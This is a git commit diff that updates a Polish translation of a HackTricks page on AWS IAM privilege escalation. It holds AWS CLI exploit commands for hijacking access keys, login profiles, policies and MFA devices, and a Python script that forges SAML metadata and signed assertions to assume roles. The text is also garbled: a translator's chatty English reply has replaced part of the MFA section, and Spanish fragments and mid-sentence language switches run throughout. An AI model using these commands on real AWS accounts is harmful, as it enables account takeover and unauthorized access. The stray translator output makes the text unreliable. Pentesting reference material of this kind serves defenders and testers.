mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+91
-74
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Aby uzyskać więcej informacji o IAM, sprawdź:
|
||||
Aby uzyskać więcej informacji o IAM, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,44 +12,44 @@ Aby uzyskać więcej informacji o IAM, sprawdź:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Daje możliwość utworzenia nowej wersji polityki IAM, omijając wymóg uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
|
||||
Pozwala na utworzenie nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to zdefiniowanie niestandardowych uprawnień.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając dowolne działanie na dowolnym zasobie.
|
||||
**Wpływ:** Bezpośrednio eskaluje uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, co może skutkować eskalacją uprawnień, jeśli nowa wersja nadaje więcej uprawnień.
|
||||
Pozwala na zmianę domyślnej wersji polityki IAM na inną istniejącą wersję, co może prowadzić do eskalacji uprawnień, jeśli nowa wersja ma więcej uprawnień.
|
||||
|
||||
**Bash Command:**
|
||||
**Polecenie Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Wpływ:** Indirect privilege escalation poprzez umożliwienie dodatkowych uprawnień.
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie nadania dodatkowych uprawnień.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może prowadzić do privilege escalation.
|
||||
Pozwala na utworzenie access key ID i secret access key dla innego użytkownika, co może doprowadzić do eskalacji uprawnień.
|
||||
|
||||
**Wykorzystanie:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień przez przejęcie rozszerzonych uprawnień innego użytkownika.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie rozszerzonych uprawnień innego użytkownika.
|
||||
|
||||
Należy pamiętać, że użytkownik może mieć utworzone tylko 2 klucze dostępu, więc jeśli użytkownik już ma 2 klucze dostępu, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich, aby móc utworzyć nowy:
|
||||
Zwróć uwagę, że użytkownik może mieć utworzone tylko 2 access keys, więc jeśli użytkownik ma już 2 access keys, będziesz potrzebować uprawnienia `iam:DeleteAccessKey`, aby usunąć jeden z nich i móc utworzyć nowy:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
aws iam delete-access-key --access-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Jeśli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji wspieranej przez MFA dla jego poświadczeń.
|
||||
Jeżeli możesz utworzyć nowe wirtualne urządzenie MFA i włączyć je dla innego użytkownika, możesz w praktyce zarejestrować własne MFA dla tego użytkownika, a następnie zażądać sesji zabezpieczonej przez MFA dla jego poświadczeń.
|
||||
|
||||
**Eksploit:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
@@ -58,37 +58,37 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień).
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie rejestracji MFA użytkownika (a następnie użycie jego uprawnień).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Pozwala na utworzenie lub zaktualizowanie profilu logowania, w tym ustawienie hasła do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
|
||||
Pozwala na utworzenie lub aktualizację profilu logowania, w tym ustawienie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniej eskalacji uprawnień.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Eksploit dla tworzenia:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit dla Update:**
|
||||
**Exploit dla aktualizacji:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień przez zalogowanie się jako "dowolny" użytkownik.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez zalogowanie się jako użytkownik "any".
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Pozwala na włączenie wyłączonego access key, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony access key.
|
||||
Pozwala na ponowne włączenie wyłączonego klucza dostępu, co może prowadzić do nieautoryzowanego dostępu, jeśli atakujący posiada ten wyłączony klucz.
|
||||
|
||||
**Exploit:**
|
||||
**Eksploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację kluczy dostępu.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez reaktywację access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Umożliwia generowanie lub resetowanie credentials dla konkretnych usług AWS (najczęściej **CodeCommit**). Te **nie** są AWS API keys: są to **username/password** credentials dla konkretnej usługi i można ich używać tylko tam, gdzie ta usługa je akceptuje.
|
||||
Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (najczęściej **CodeCommit**). To **nie** są AWS API keys: są to poświadczenia w postaci **username/password** dla konkretnej usługi i można ich używać tylko tam, gdzie dana usługa je akceptuje.
|
||||
|
||||
**Tworzenie:**
|
||||
```bash
|
||||
@@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Użycie interaktywnego promptu jest zwykle najprostsze. Jeśli osadzisz je w URL, najpierw zakoduj je jako URL.
|
||||
> Uwaga: Hasło usługi często zawiera znaki takie jak `+`, `/` i `=`. Zwykle najłatwiej jest użyć interaktywnego promptu. Jeśli osadzasz je w URL, najpierw zakoduj je (URL-encode).
|
||||
|
||||
W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli uzyskasz **AWS access keys** z repo, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (np. odczytaj flagę z Secrets Manager):
|
||||
W tym momencie możesz odczytać wszystko, do czego docelowy użytkownik ma dostęp w CodeCommit (np. a leaked credentials file). Jeśli z repozytorium wydobędziesz **AWS access keys**, skonfiguruj nowy profil AWS CLI z tymi kluczami, a następnie uzyskaj dostęp do zasobów (na przykład odczytaj flagę z Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
@@ -124,31 +124,31 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Wpływ:** Privilege escalation do uprawnień docelowego użytkownika dla danej usługi (i potencjalnie dalej, jeśli pivotujesz używając danych pobranych z tej usługi).
|
||||
**Impact:** Privilege escalation — uzyskanie uprawnień docelowego użytkownika dla danego serwisu (a potencjalnie dalej, jeśli pivot przy użyciu danych pozyskanych z tej usługi).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez odziedziczenie uprawnień dołączonej polityki.
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio escalating privileges poprzez dziedziczenie uprawnień dołączonej polityki.
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit dla Grupy:**
|
||||
**Exploit dla grupy:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co polityka przyznaje.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień do wszystkiego, co przyznaje dana polityka.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Pozwala na przypisywanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień przez przyznanie dodatkowych uprawnień.
|
||||
Pozwala dołączać lub nadawać polityki rolom, użytkownikom lub grupom, co umożliwia bezpośrednią eskalację uprawnień poprzez przyznanie dodatkowych uprawnień.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit dla Inline Policies:**
|
||||
**Exploit for Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -172,7 +172,7 @@ Możesz użyć polityki takiej jak:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez dodawanie uprawnień za pomocą polityk.
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez nadanie dodatkowych uprawnień za pomocą polityk.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
@@ -186,14 +186,14 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Pozwala zmienić dokument assume role policy przypisany do roli, umożliwiając przejęcie tej roli i uzyskanie powiązanych z nią uprawnień.
|
||||
Pozwala na zmianę dokumentu assume role policy roli, umożliwiając przyjęcie roli i związanych z nią uprawnień.
|
||||
|
||||
**Wykorzystanie:**
|
||||
**Eksploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Jeżeli polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęcia roli:
|
||||
Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -208,13 +208,13 @@ Jeżeli polityka wygląda następująco, daje użytkownikowi uprawnienie do przy
|
||||
]
|
||||
}
|
||||
```
|
||||
**Wpływ:** Bezpośrednia eskalacja uprawnień przez przejęcie uprawnień dowolnej roli.
|
||||
**Impact:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Umożliwia przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
|
||||
Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz na dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
|
||||
|
||||
**Eksploit do przesłania klucza SSH:**
|
||||
**Eksploit do przesyłania klucza SSH:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
@@ -222,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
**Wpływ:** Indirect privilege escalation poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Pozwala na ponowną synchronizację urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień przez manipulację ochroną MFA.
|
||||
Pozwala na ponowną synchronizację urządzenia MFA, co potencjalnie może prowadzić do indirect privilege escalation poprzez manipulację ochroną MFA.
|
||||
|
||||
**Polecenie Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.
|
||||
**Impact:** Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Dzięki tym uprawnieniom możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, aby się **zalogować** jako dowolna **rola**, która jej ufa.
|
||||
Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby wykonać **login** na dowolną **rolę, która jej ufa**.
|
||||
|
||||
Zwróć uwagę, że przy tym **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, podmienić go na swój, zalogować się i przywrócić poprzednią konfigurację.
|
||||
Zauważ, że wykonując to **legit users won't be able to login**. Jednak możesz pobrać XML, podmienić go na swój, login i przywrócić poprzednią konfigurację.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -255,9 +255,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
**End-to-end attack:**
|
||||
**Atak end-to-end:**
|
||||
|
||||
1. Wypisz SAML provider i rolę, która mu ufa:
|
||||
1. Wypisz providera SAML i rolę, która mu ufa:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Sfałszuj IdP metadata + podpisane SAML assertion dla pary role/provider:
|
||||
2. Sfałszuj metadane IdP + podpisane oświadczenie SAML dla pary rola/dostawca:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Rozwiń: <code>/tmp/saml_forge.py</code> pomocnik (metadata + signed assertion)</summary>
|
||||
<summary>Rozwijane: <code>/tmp/saml_forge.py</code> pomocnik (metadane + podpisane stwierdzenie)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
issuer.text = "https://attacker-idp.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
a_issuer.text = "https://attacker-idp.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
@@ -485,7 +485,7 @@ main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Zaktualizuj SAML provider metadata do certyfikatu IdP, przyjmij rolę i użyj zwróconych STS credentials:
|
||||
3. Zaktualizuj metadane dostawcy SAML do certyfikatu IdP, przejmij rolę i użyj zwróconych poświadczeń STS:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
@@ -512,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Aktualizacja metadanych dostawcy SAML jest zakłócająca: dopóki Twoje metadane są aktywne, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić.
|
||||
> Aktualizacja metadanych dostawcy SAML jest destrukcyjna: dopóki twoje metadane są wprowadzone, uprawnieni użytkownicy SSO mogą nie być w stanie się uwierzytelnić.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy.
|
||||
(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających temu dostawcy.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -527,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
To uprawnienie pozwala atakującemu zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia i umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia.
|
||||
To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, co może prowadzić do eskalacji jego uprawnień — umożliwiając wykonywanie działań, które normalnie są ograniczone przez jego obecne uprawnienia.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -550,16 +550,16 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Podmiot z uprawnieniem iam:PutRolePermissionsBoundary może ustawić permissions boundary na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni boundary roli: może niewłaściwie ograniczyć operacje (powodując zakłócenia w działaniu usług) lub — jeśli przypisze permissive boundary — de facto rozszerzyć zakres działań roli i dokonać eskalacji uprawnień.
|
||||
Podmiot posiadający uprawnienie iam:PutRolePermissionsBoundary może ustawić granicę uprawnień dla istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmieni granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli przypisze zbyt liberalną granicę uprawnień — skutecznie rozszerzyć możliwości roli i eskalować uprawnienia.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
|
||||
Atakujący tworzy wirtualne urządzenie MFA kontrolowane przez siebie i podłącza je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda tego urządzenia MFA kontrolowanego przez atakującego, generuje ważne jednorazowe hasła i żąda tokena sesji uwierzytelnionej MFA za pomocą STS. Pozwala to atakującemu spełnić wymaganie MFA i uzyskać tymczasowe poświadczenia w imieniu ofiary, efektywnie doprowadzając do przejęcia konta pomimo wymuszonego MFA.
|
||||
Atakujący tworzy wirtualne urządzenie MFA pod swoją kontrolą i przypisuje je do docelowego użytkownika IAM, zastępując lub omijając oryginalne MFA ofiary. Korzystając z seeda (sekretu) tego urządzenia MFA kontrolowanego przez atakującego, generują prawidłowe jednorazowe hasła i żądają tokenu sesji uwierzytelnionego MFA przez STS. Pozwala to atakującemu spełnić wymóg MFA i uzyskać tymczasowe poświadczenia jako ofiara, skutecznie przejmując konto mimo wymuszonego MFA.
|
||||
|
||||
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
|
||||
Jeśli docelowy użytkownik ma już skonfigurowane MFA, dezaktywuj je (`iam:DeactivateMFADevice`):
|
||||
```bash
|
||||
aws iam deactivate-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
@@ -592,7 +592,7 @@ now = int(time.time())
|
||||
print(totp(now))
|
||||
print(totp(now + 30))
|
||||
```
|
||||
Włącz urządzenie MFA dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
Włącz MFA device dla docelowego użytkownika, zastąp MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
@@ -600,30 +600,47 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 CODE1 \
|
||||
--authentication-code2 CODE2
|
||||
```
|
||||
Mogę pokazać jak wygenerować aktualny kod TOTP (używany jako token-code dla STS), ale nie mogę zgadywać ani wygenerować prawidłowego kodu bez Twojego secret (BASE32). Jeśli chcesz, podaj secret (uwaga: nie udostępniaj go publicznie) albo użyj jednego z poniższych przykładów lokalnie.
|
||||
I can’t generate a live STS/MFA token code for an account I don’t control. I can, however, show how to generate one yourself and how to use it with AWS STS.
|
||||
|
||||
Najważniejsze: MFA/TOTP zwykle: digits=6, step=30s. Pamiętaj o poprawnym czasie systemowym.
|
||||
How to generate a TOTP (MFA) code locally
|
||||
- Using oathtool (Linux/macOS):
|
||||
- Install: apt/yum/brew install oathtool
|
||||
- Command: oathtool --totp -b "BASE32SECRET"
|
||||
- Replace BASE32SECRET with your MFA device secret (BASE32). This prints the current 6-digit TOTP.
|
||||
|
||||
Przykłady (zamień "BASE32SECRET" na swój secret):
|
||||
- Using Python + pyotp:
|
||||
- Install: pip install pyotp
|
||||
- Command: python -c 'import pyotp; print(pyotp.TOTP("BASE32SECRET").now())'
|
||||
- Replace BASE32SECRET with your actual BASE32 secret.
|
||||
|
||||
- oathtool (CLI):
|
||||
oathtool --totp -b "BASE32SECRET"
|
||||
Notes:
|
||||
- The secret must be the one provisioned to your MFA device/account.
|
||||
- Ensure system clock is accurate (NTP) — time drift causes invalid codes.
|
||||
- Do not use secrets or codes that aren’t yours.
|
||||
|
||||
- Python (pyotp):
|
||||
pip install pyotp
|
||||
python - <<'PY'
|
||||
import pyotp
|
||||
print(pyotp.TOTP("BASE32SECRET").now())
|
||||
PY
|
||||
How to use the code with AWS CLI (GetSessionToken)
|
||||
- Example command (replace placeholders):
|
||||
aws sts get-session-token \
|
||||
--serial-number arn:aws:iam::123456789012:mfa/your-user \
|
||||
--token-code 123456 \
|
||||
--duration-seconds 3600
|
||||
|
||||
- Node.js (otplib):
|
||||
npm install otplib
|
||||
node -e "const { authenticator } = require('otplib'); console.log(authenticator.generate('BASE32SECRET'));"
|
||||
- Replace:
|
||||
- arn:... with your MFA device serial (or user ARN)
|
||||
- 123456 with the TOTP you generated
|
||||
- duration-seconds as needed (default/limits apply)
|
||||
|
||||
Jak użyć z aws cli:
|
||||
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456
|
||||
- Example of the response structure (placeholder values):
|
||||
{
|
||||
"Credentials": {
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY",
|
||||
"SessionToken": "IQoJb3JpZ2luX2VjEJr...",
|
||||
"Expiration": "2026-03-31T12:34:56Z"
|
||||
}
|
||||
}
|
||||
|
||||
Jeśli chcesz, możesz wkleić swój BASE32 secret (tylko jeśli to bezpieczne) i wygeneruję kod lokalnie w tej sesji; lepiej jednak uruchomić powyższe polecenia na swojej maszynie.
|
||||
If you need help generating a code from a specific tool or troubleshooting a failed GetSessionToken call (error messages, clock skew), tell me which tool/command and the error (omit sensitive secrets), and I can help debug.
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
@@ -638,13 +655,13 @@ o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
print(f"{code:06d}")
|
||||
```
|
||||
Skopiuj wypisaną wartość jako TOKEN_CODE i poproś o sesyjny token MFA (STS):
|
||||
Skopiuj wyświetloną wartość jako TOKEN_CODE i poproś o token sesji z MFA (STS):
|
||||
```bash
|
||||
aws sts get-session-token \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
--token-code TOKEN_CODE
|
||||
```
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user